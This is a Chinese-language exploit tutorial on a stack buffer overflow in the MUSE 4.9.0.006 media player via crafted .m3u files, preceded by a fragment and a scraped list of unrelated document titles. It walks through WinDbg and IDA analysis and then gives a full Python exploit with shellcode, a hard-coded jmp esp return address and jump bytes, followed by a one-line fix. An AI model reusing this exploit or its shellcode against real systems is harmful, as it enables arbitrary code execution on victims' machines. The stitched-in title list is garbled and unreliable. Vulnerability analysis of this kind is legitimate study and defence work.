且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re

Similar documents
今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

ROP_bamboofox.key

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

Linux kernel exploit研究和探索

untitled

1 CPU interrupt INT trap CPU exception

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

1

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9


DbgPrint 函数流程分析

<4D F736F F D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

按 系 统 提 示 完 成 安 装 并 生 成 交 易 图 标, 双 击 图 标 即 可 运 行 金 阳 光 独 立 委 托 系 统 通 讯 设 置 按 钮 中 行 情 地 址 交 易 地 址 高 级 设 置, 其 中 行 情 地 址 交 易 地 址 可 以 分 别 用 来 设 置 服 务 器 地

厦门创兴科技股份有限公司


Untitled

Slide 1

inc-by-one 之高级漏洞利用技术 By Netfairy 前言 什么是 inc-by-one? 比如有这样的一条指令 :inc dword ptr [eax+8], 这条指令执行的效果是 使 eax+8 地址处的值加 1, 类似于 c 语言 *(eax+8) = *(eax+8) +1, 如

<4D F736F F D20CEC4BCFEBCB6B6F1D2E2B4FAC2EBC9A8C3E8D2FDC7E6D6D0B5C4BCD3BFC7CAB6B1F0BCBCCAF52E646F6378>

学习MSP430单片机推荐参考书

幻灯片 1

ARP ICMP

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

目 录 1 专 业 定 位 和 人 才 培 养 模 式 教 学 基 本 条 件 教 学 改 革 与 教 学 管 理 人 才 培 养 质 量 专 业 特 色 或 创 新 项 目

p-2.indd

SCI / /21 (ÿ) (ÿÿ : (ÿÿ (ÿÿ (ÿÿ (ÿÿ (ÿÿ

<4D F736F F D C4EACEE4BABAD2F4C0D6D1A7D4BABECDD2B5D6CAC1BFB1A8B8E6A3A8D4BAB3A4B0ECB9ABBBE1CDA8B9FDA3A9>

东南大学2014年度部门预算

寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f

untitled

事前警告、规范的安全管理机制,事后及时追溯,提高企业安全审计效率

Microsoft PowerPoint - 03_ADVDBG_RAYMOND_OS.ppt

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需

安徽电子工程学校

Microsoft Word - “调戏”反遭“反调戏”—记Visual Toolbar 的破解过程.doc

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

2013年度西藏自治区教育厅

實用文格式大全.doc

个 小 小 的 乡 下 人 木 匠 的 儿 子, 竟 然 有 这 么 大 的 力 量 其 实 就 是 这 点, 祂 活 出 来 的 那 种 爱, 是 世 界 上 没 有 的 祂 活 出 来 的 爱 是 世 界 上 的 人 都 需 要 的, 但 却 是 人 人 在 这 个 世 界 上 都 得 不 到

薛 秦 高 继 宁 宋 明 锁 文 洪 梁 瑞 敏 贾 跃 进 内 蒙 古 自 治 区 (3 人 ) 琪 格 其 图 米 子 良 赵 震 生 辽 宁 省 (8 人 ) 田 素 琴 白 凤 鸣 肖 瑞 崇 黄 恩 申 白 长 川 杨 世 勇 李 敬 林 王 秀 云 吉 林 省 (5 人 ) 赵 继 福

Microsoft Word - 1-3陳詠琳-近代..

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

柳州化工股份有限公司

《捕捉儿童敏感期》

2 國 文 考 科 試 題 解 析 命 題 出 處 與 南 一 版 第 五 冊 第 二 課 幽 夢 影 選 課 程 內 涵 同 試 題 解 析 某 君 講 信 用, 重 然 諾, 行 事 穩 健, 工 作 負 責 較 符 合 謹 飭 友 謹 飭 友 指 的 是 言 行 謹 慎 而 有 節 制 的 朋

untitled

29 碳 酸 钙 D3 片 ( 别 名 维 生 素 D3 碳 酸 钙 ) 吉 林 省 第 一 批 低 价 药 30 炔 诺 酮 滴 丸 吉 林 省 第 一 批 低 价 药 31 去 氯 羟 嗪 片 吉 林 省 第 一 批 低 价 药 32 茶 苯 海 明 片 吉 林 省 第 一 批 低 价 药 33

穨飲食與養老_決定版_.PDF

untitled

untitled

中国生态文明奖先进集体和先进个人建议吊单公示

投 入 建 设 经 费 3600 万 元, 立 项 建 设 19 个 研 究 生 公 共 实 验 课 程 教 学 平 台, 依 托 实 验 课 程 平 台 开 设 研 究 生 实 验 课 程 109 门, 系 统 训 练 并 提 升 了 研 究 生 知 识 应 用 能 力 工 程 认 知 能 力,

zxj

<443A5CCED2B5C4D7CAC1CF5CD7C0C3E65CB9D8D3DAC3FCC3FB C4EAB6C8CAA1C7E0C4EACEC4C3F7BAC5A1A2CAA1C7E0C4EACEC4C3F7BAC5B1EAB1F8BACDCAA1C7E0C4EACEC4C3F7BAC5CFC8BDF8B9A4D7F7D5DFB5C4BEF6B6A8C5C55CA3A830372E3038A3A9B9D8D3DAC3FCC3FB C4EAB

Microsoft Word  _32_ 民事裁判.doc

CC213

动画光标文件(

ICD ICD ICD ICD ICD

A Preliminary Implementation of Linux Kernel Virus and Process Hiding

饶 阳 县 人 民 法 院 司 法 察 大 队 邢 台 县 人 民 法 院 司 法 察 大 队 武 安 市 人 民 法 院 司 法 察 大 队 山 西 省 临 汾 市 中 级 人 民 法 院 司 法 察 支 队 大 同 市 矿 区 人 民 法 院 司 法 察 大 队 介 休 市 人 民 法 院 司


礼仪玉和葬玉

壹、摘 要

了 波 涛 和 号 声 袁 读 者 很 容 易 就 进 入 广 州 城 的 水 上 旅 途 袁 进 入 一 座 野 水 上 名 城 冶 的 传 说 中 去 遥 于 是 袁 一 座 名 城 往 事 充 满 了 漂 流 感 袁 旋 律 自 水 上 而 来 袁 我 们 就 这 样 来 到 了 往 事 的

2013年全国农村妇女科学素质网络竞赛活动总结

目 录 一 概 况... 3 二 针 对 2015 届 毕 业 生 开 展 的 就 业 工 作... 5 三 2015 届 毕 业 生 就 业 情 况 抽 样 调 查 分 析 ( 一 ) 用 人 单 位 类 型 情 况 ( 二 ) 专 业 对 口 率 ( 三 )

Microsoft Word - 梁斌言:2016年度全省职业教育工作会议总结讲话提纲.doc

中 共 广 元 市 食 品 药 品 监 督 管 理 局 党 组 2016 年 机 关 党 的 工 作 要 点 2016 年 是 实 施 十 三 五 规 划 的 开 局 之 年, 是 推 进 全 面 从 严 治 党 的 深 化 之 年, 是 决 胜 脱 贫 攻 坚 的 关 键 之 年 机 关 党 的

“秦火火”玩“火”自焚

目 录 第 1 章 毕 业 生 就 业 基 本 情 况 沈 阳 化 工 大 学 科 亚 学 院 概 况 毕 业 生 规 模 毕 业 生 结 构 毕 业 生 院 系 分 布 毕 业 生 专 业 分 布

0卷首语.FIT)

版块一 研究生学长对《自然地理学》科目的总结

北 京 化 工 大 学 2014 年 毕 业 生 就 业 质 量 年 度 报 告 高 校 毕 业 生 就 业 工 作 是 教 育 领 域 重 要 的 民 生 工 程, 涉 及 人 民 群 众 切 身 利 益, 关 乎 社 会 和 谐 稳 定 北 京 化 工 大 学 高 度 重 视 毕 业 生 就 业

2014年9月月讯

( 一 ) 毕 业 生 规 模 和 就 业 率 浙 江 警 察 学 院 2014 届 毕 业 生 共 计 542 人, 均 为 本 科 毕 业 生, 其 中 浙 江 省 内 生 源 毕 业 生 516 人, 西 藏 自 治 区 生 源 毕 业 生 26 人 截 至 2014 年 12 月 10 日,

1

就业质量报告工作方案

内 蒙 古 大 学 创 建 于 1957 年, 是 新 中 国 成 立 后 党 和 国 家 在 少 数 民 族 地 区 创 建 最 早 的 综 合 大 学 学 校 1962 年 招 收 研 究 生,1978 年 被 确 定 为 全 国 重 点 大 学,1984 年 获 博 士 学 位 授 权,199

目 录 学 校 概 况... 1 报 告 说 明... 1 第 一 章 毕 业 生 就 业 基 本 情 况... 3 一 毕 业 生 的 规 模 和 结 构... 3 ( 一 ) 毕 业 生 的 规 模... 3 ( 二 ) 毕 业 生 结 构... 4 二 就 业 率... 5 ( 一 ) 总 体

南昌职~1

的 通 知 (30) 安 阳 市 人 民 政 府 办 公 室 关 于 印 发 代 市 长 王 新 伟 在 市 长 办 公 会 议 上 讲 话 的 通 知 (33) 大 事 记 安 阳 市 人 民 政 府 大 事 记 (2015 年 11 月 ) (38) 安 阳 市 人 民 政 府 大 事 记 (2

关于成立化学化工学院石油炼制系和应用化学系的通知

<4D F736F F D C4EAD6D0BFBCD3EFCEC4C6C0BCDBD6B8C4CFA3A8B6A8B8E5A3A92E646F63>

中机质协[2016]2

前 言 厦 门 南 洋 职 业 学 院 是 经 福 建 省 人 民 政 府 批 准 正 式 设 立 国 家 教 育 部 备 案 具 有 独 立 颁 发 国 家 承 认 学 历 文 凭 资 格 的 全 日 制 综 合 性 普 通 高 等 院 校, 由 海 内 外 热 心 教 育 的 十 五 位 学 者

目 录

Microsoft Word - 会行党_2016_3号.doc

标题

令行立即行 上马就扬蹄

一 指 导 思 想 全 面 贯 彻 党 的 十 八 大 和 十 八 届 三 中 四 中 五 中 全 会 精 神, 深 入 学 习 习 近 平 总 书 记 系 列 重 要 讲 话 精 神, 按 照 中 央 和 上 级 政 法 公 安 机 关 关 于 加 强 队 伍 建 设 的 有 关 要 求, 聚 焦

国 培 计 划 (2011) 义 务 教 育 骨 干 教 师 远 程 培 训 项 目 骨 干 培 训 者 培 训 工 作 总 结 全 国 中 小 学 教 师 继 续 教 育 网 ( 以 下 简 称 继 教 网 ) 在 国 培 计 划 (2011) 义 务 教 育 骨 干 教 师 远 程 培 训 项

绝版亲情

取 企 业 一 套 表 平 台 收 集 汇 总 整 理 和 提 供 有 关 调 查 的 统 计 数 据, 综 合 整 理 和 提 供 旅 游 科 技 教 育 文 化 卫 生 体 育 社 会 保 障 公 用 事 业 等 全 区 性 基 本 统 计 数 据 6 组 织 实 施 基 本 单 位 能 源 投

Administrator

Transcription:

MUSE v4.9.0.006 (.m3u) 本地溢出漏洞的分析和利用 文 : 冰雪风谷文件格式溢出漏洞一直是黑客门攻击的热点, 从暴风影音播放器到 qq 播放器以及其它的各种播放器, 都被人暴过相关的漏洞. 至于造成漏洞的原因, 大部分是由于往栈里拷贝字符的时候, 没有检查字符串的长度, 导致拷贝的长度大于缓冲区的长度, 于是造成了溢出. 当然, 还有部分是整数溢出, 出现在一些有无符号数混合使用, 然后一起做运算的过程中. 最近在 www.exploit-db.com 上, 看到 Glafkos Charalamb. 这位大牛连续放出好几个播放器的文件溢出漏洞, 今天正好有时间, 就拿过来看看, 也顺便总结下, 该类漏洞从 fuzz 到最后修补的一般过程. 我们先从 http://download.cnet.com/muse/3000-2140_4-42511.htm 上下到存在漏洞的版本号为 4.9.0.006 的 MUSE. 安装好后. 我们开始测试, 本机环境为 windows xp sp3 中文版, 至于 http://www.exploit-db.com/exploits/14663/ 上面提供的 poc, 由于其试验环境为 windows xp sp3 en, 我们仅作为参考. 首先我们准备超长字符串的文件, 来 fuzz 这个溢出漏洞. 我们将 300 个 A 写入文件, 保存为 test.m3u. 打开 muse, 加载这个文件. 此时, 我们发现了如下图的报错. 我们可以肯定, 这个溢出存在的, 并且是可以利用的. 由上图可以看到, 程序被成功溢出, eip 现在指向了 0x41414141 这个地址, 由于这个地 址是不可执行的, 所以异常出错. 接下来, 我们要做的就要去分析这个漏洞产生的原因, 并

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 ReadFile 处, 我们要按多次 g), 在我们多次按 g 后, 它停了下来, 显示如下信息, 0:000> g (294.ad0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=00000000 edx=00000130 esi=ffffffff edi=0013f1c1 eip=41414141 esp=0013ef28 ebp=014ab730 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 <Unloaded_6.so>+0x41414140: 41414141????? 访问异常了, 此时我们看下栈, 0:000> kv ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0013ef24 41414141 41414141 41414141 41414141 <Unloaded_6.so>+0x41414140 *** WARNING: Unable to verify checksum for D:\Program Files\Muse\Muse.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for D:\Program Files\Muse\Muse.exe - 0013ef5c 0049a8d2 0013f090 00000000 0147c301 <Unloaded_6.so>+0x41414140 0013ef60 0013f090 00000000 0147c301 00000000 Muse!CSdll::operator=+0x99082 0013ef64 00000000 0147c301 00000000 01479308 <Unloaded_6.so>+0x13f08f 我们看到, 在 0x0049a8d2 的前一指命处发生溢出. 我们用 IDA 打开 muse.exe, 看下 0x0049a8d2 之前一指令到底是什么. 我们看到如下指令.text:0049A631 push edi ; File.text:0049A632 lea eax, [esp+338h+buf].text:0049a636 push 104h ;.text:0049a63b push eax ;.text:0049a63c call ds:fgets // 读取长度为 104h 字节.text:0049A8C8 push 0.text:0049A8CA push ecx /* 这个 ecx 是一个字符串的地址, 这个字符串由文件的路径加文件内容组成,

而后面造成溢出的, 也就是对这个的处理造成的溢出, 此时, 我们也看到, 缓冲区 中,A 的数目只有 104h 个字节. */.text:0049a8cb mov ecx, eax.text:0049a8cd call sub_47ba90 // 可以看出, 是在这里发生的 crash, 我们跟进去..text:0049A8D2 jmp short loc_49a8d6 我们跟进 sub_47ba90 中去, 在 sub_47ba90 中, muse.0047ba90.text:0047bbd4 lea edx, [esp+38h+var_1c].text:0047bbd8 mov ecx, ebp.text:0047bbda push edx.text:0047bbdb mov byte ptr [esp+3ch+var_4], 9.text:0047BBE0 call sub_47bdd0 // 在调用这里的时候发生异常, 在 sub_47bdd0 处发生异常, 我们跟进这个函数中去,.text:0047BDD0 sub_47bdd0 proc near ; CODE XREF: sub_47ba90+150p.text:0047bdd0.text:0047bdd0 var_104 = byte ptr -104h.text:0047BDD0 arg_0 = dword ptr 4.text:0047BDD0.text:0047BDD0 mov eax, [esp+arg_0] //.text:0047bdd4 sub esp, 104h // 分配 0x104 的栈的大小, 这里分配 0x104 栈的大小, 是因为, 前面读的时候, 只从文件 中读取了 0x104 个字节, 作者认为, 在这里也分配 0x104 就够了. 其实不然..text:0047BDDA xor edx, edx.text:0047bddc push ebx.text:0047bddd push ebp

.text:0047bdde push esi.text:0047bddf push edi.text:0047bde0 mov edi, [eax+4] // 取得路径.text:0047BDE3 mov ebp, ecx.text:0047bde5 cmp edi, edx // 如果路径不为空, 则跳转..text:0047BDE7 jnz short loc_47bdef.text:0047bde9 mov edi, ds:?_c@?1??_nullstr@?$basic_string@du?$char_traits@d@std@@v?$allocator@d@2@@std @@CAPBDXZ@4DB ; char const `std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_nullstr(void)'::`2'::_c.text:0047bdef.text:0047bdef loc_47bdef: ; CODE XREF: sub_47bdd0+17j.text:0047bdef or ecx, 0FFFFFFFFh // 不为空, 跳这里..text:0047BDF2 xor eax, eax.text:0047bdf4 repne scasb.text:0047bdf6 not ecx //ecx 的值,.text:0047BDF8 sub edi, ecx //.text:0047bdfa lea ebx, [esp+114h+var_104].text:0047bdfe mov eax, ecx // 此时 ecx 中为文件路径加文件内容的长度, 而文件内容的长度已经为 104, 再加上路径 的长度, 很明显, 这个值会大于 104..text:0047BE00 mov esi, edi.text:0047be02 mov edi, ebx.text:0047be04 add ebp, 9Ch.text:0047BE0A shr ecx, 2 // 把 ecx 除以 4.text:0047BE0D rep movsd // 把 esi 的内容考贝到 edi 中, 此时, 造成溢出, 覆盖了返回地址. 至此, 溢出产生的原因分析清楚了, 由于作者在处理 m3u 文件的时候, 如果 m3u 文件内 容前面没有路径名或协议名的话, 则会自动加上文件存在的路径, 而此时的路径加文件的长 度, 就大于原来认为的 0x104 了, 所以造成溢出. 接下来, 我们就写可以开始写我们的 poc 了. 我们注意下我们路径的值为 45(0x2d) 所以我们 poc 的长度应该为 108-2d, 为 db(219), 所以我们的 poc 如下 (215)nop+shellcode, (4) eip 这个值要指向我们 shellcode 的地址, 我们这个用 jmp esp 指令, 7dbf23a8(jmp esp in shell32.dll)( 这是我本机上的地址, 大家可以替换 ) (x) 后面再加 nop+ jmp esp-x, 指令, 跳到我们的 shellcode 上, 就可以了. ( 总之, 215+4+x < 260(104h)). 根据上述的结构, 我们写好如下 poc( 仅供参考, 因为, 这个 poc 的利用与那个路径的值

有关系, 所以, 换个路径不一定有用, 同时, 说明这个漏洞的利用也有一定的局限性 ) buffersize = 215 nopsled = "\x90" * 4 shellcode = ( "\x2b\xe2" "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x51\x68\x6c\x6c\x20\x20\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72" "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" "\xff\xd3\xb9\x5e\x67\x30\xef\x81" "\xc1\x11\x11\x11\x11\x51\x68\x61" "\x67\x65\x42\x68\x4d\x65\x73\x73" "\x89\xe1\x51\x50\xbb\x40\xae\x80" "\x7c\xff\xd3\x89\xe1\x31\xd2\x52" "\x51\x51\x52\xff\xd0\x31\xc0\x50" "\xb8\x12\xcb\x81\x7c\xff\xd0") #shellcode = ("\xeb\x16\x5b\x50\x88\x43\x09\x53" # "\xbb\x0d\x25\x86\x7c" # "\xff\xd3\x31\xc0" # "\xbb\x12\xcb\x81\x7c" # "\xff\xd3\xe8\xe5\xff\xff\xff" # "\x63\x61\x6c\x63\x2e" # "\x65\x78\x65") junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode))) njump = "\xe9\x1c\xff\xff\xff" #jmp 0x00 eip = "\xa8\x23\xbf\x7d" # jmp esp in shell32.dll payload = nopsled+shellcode+junk + eip + nopsled + njump try: print "[+] Creating exploit file.." exploit = open('test.m3u','w'); exploit.write(payload); exploit.close(); print "[+] Writing", len(payload), "bytes to test.m3u" print "[+] Exploit file created!" except: print "[-] Error: You do not have correct permissions.." 利用上述提供的 python 代码生成 test.m3u 后, 我们执行, 可以看到如下结果

( 注 : 在这里, 如果把 shellcode 换成别的 shellcode 的时候, 也许会出错, 因为在执行到 shellcode 的时候, 当前的 esp 指向了 shellcode 中, 执行 shellcode 中的函数譬如 Loadlibrary 的时候, 便把栈内的 shellcode 给覆盖了, 所以导致报错, 执行失败. 所以看上面的例子, 在 shellcode 前面加了两个字节 \x2b\xe2, 它的汇编指令是 sub esp, edx, 因为注意到执行到 shellcode 的时候, edx 的值为 111h, 这样一减, 就把当前栈指向别处去了, 这样, 执行 shellcode 的时候, 不会破坏 shellcode 的内容. 当然这里, 你们也可以自由发挥, 但要注意的是, 在 shellcode 中不能存在 \x00 的, 所以, 如果想在其中加一些指令的话, 要对其进行编码, 或想办法用其它指令代替, 这不是这篇文章的重点, 就不在这里细说了 ) 最后讲下如何修补漏洞, 很简单, 在往缓冲区拷贝的时候, 判断一下拷贝字符串的大小, 是否小于我们分配的栈的大小即可. 上面的这个漏洞就分析到这里, 大家有什么不明白的, 可以到黑防论坛与我交流, 我的黑防 ID 是冰雪风谷. ( 另补充一点, 大家在测试的时候, 一定要注意, 文件的路径应该为 C:\Documents and Settings\h\ 桌面 \MUSE. 这个不是绝对的, 但长度应该一样. 或者可以根据自己本机的情况, 算出相关的值. )